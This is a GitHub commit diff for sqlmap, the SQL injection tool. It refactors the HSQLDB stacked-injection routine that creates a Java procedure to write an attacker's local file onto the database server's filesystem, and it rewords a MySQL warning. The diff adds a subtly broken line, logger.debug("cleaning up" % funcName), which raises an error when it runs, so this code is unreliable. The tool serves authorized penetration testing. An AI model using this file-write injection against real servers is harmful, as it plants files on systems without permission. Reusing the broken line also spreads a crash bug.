Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 0585a55

Browse files
committed
Trivial refactoring for #4379
1 parent babe52e commit 0585a55

3 files changed

Lines changed: 11 additions & 15 deletions

File tree

lib/core/settings.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,7 @@
1818
from thirdparty.six import unichr as _unichr
1919

2020
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
21-
VERSION = "1.4.10.4"
21+
VERSION = "1.4.10.5"
2222
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
2323
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
2424
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)

plugins/dbms/hsqldb/filesystem.py

Lines changed: 9 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -21,26 +21,23 @@ def readFile(self, remoteFile):
2121

2222
@stackedmethod
2323
def stackedWriteFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
24-
2524
funcName = randomStr()
26-
MAX_BYTES = 2 ** 20
25+
max_bytes = 1024 * 1024
2726

28-
debugMsg = "creating a Java Language Procedure '%s'" % funcName
27+
debugMsg = "creating JLP procedure '%s'" % funcName
2928
logger.debug(debugMsg)
3029

31-
addFuncQuery = "CREATE PROCEDURE %s (IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(%s)) " % (funcName, MAX_BYTES)
30+
addFuncQuery = "CREATE PROCEDURE %s (IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(%s)) " % (funcName, max_bytes)
3231
addFuncQuery += "LANGUAGE JAVA DETERMINISTIC NO SQL "
3332
addFuncQuery += "EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'"
3433
inject.goStacked(addFuncQuery)
3534

36-
logger.debug("encoding file to its hexadecimal string value")
37-
3835
fcEncodedList = self.fileEncode(localFile, "hex", True)
3936
fcEncodedStr = fcEncodedList[0][2:]
4037
fcEncodedStrLen = len(fcEncodedStr)
4138

4239
if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
43-
warnMsg = "the injection is on a GET parameter and the file "
40+
warnMsg = "as the injection is on a GET parameter and the file "
4441
warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
4542
warnMsg += "bytes, this might cause errors in the file "
4643
warnMsg += "writing process"
@@ -49,15 +46,14 @@ def stackedWriteFile(self, localFile, remoteFile, fileType=None, forceCheck=Fals
4946
debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile)
5047
logger.debug(debugMsg)
5148

52-
# http://hsqldb.org/doc/guide/sqlroutines-chapt.html#src_jrt_procedures
53-
invokeQuery = "call %s('%s', cast ('%s' AS VARBINARY(%s)))" % (funcName, remoteFile, fcEncodedStr, MAX_BYTES)
49+
# Reference: http://hsqldb.org/doc/guide/sqlroutines-chapt.html#src_jrt_procedures
50+
invokeQuery = "CALL %s('%s', CAST('%s' AS VARBINARY(%s)))" % (funcName, remoteFile, fcEncodedStr, max_bytes)
5451
inject.goStacked(invokeQuery)
5552

56-
logger.debug("removing procedure %s from DB" % funcName)
57-
delQuery = "DELETE PROCEDURE " + funcName
53+
logger.debug("cleaning up" % funcName)
54+
delQuery = "DELETE PROCEDURE %s" % funcName
5855
inject.goStacked(delQuery)
5956

60-
message = "the local file '%s' has been successfully written on the back-end DBMS" % localFile
57+
message = "the local file '%s' has been written on the back-end DBMS" % localFile
6158
message += "file system ('%s')" % remoteFile
6259
logger.info(message)
63-

plugins/dbms/mysql/filesystem.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -96,7 +96,7 @@ def unionWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
9696
fcEncodedStrLen = len(fcEncodedStr)
9797

9898
if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
99-
warnMsg = "the injection is on a GET parameter and the file "
99+
warnMsg = "as the injection is on a GET parameter and the file "
100100
warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
101101
warnMsg += "bytes, this might cause errors in the file "
102102
warnMsg += "writing process"

0 commit comments

Comments
 (0)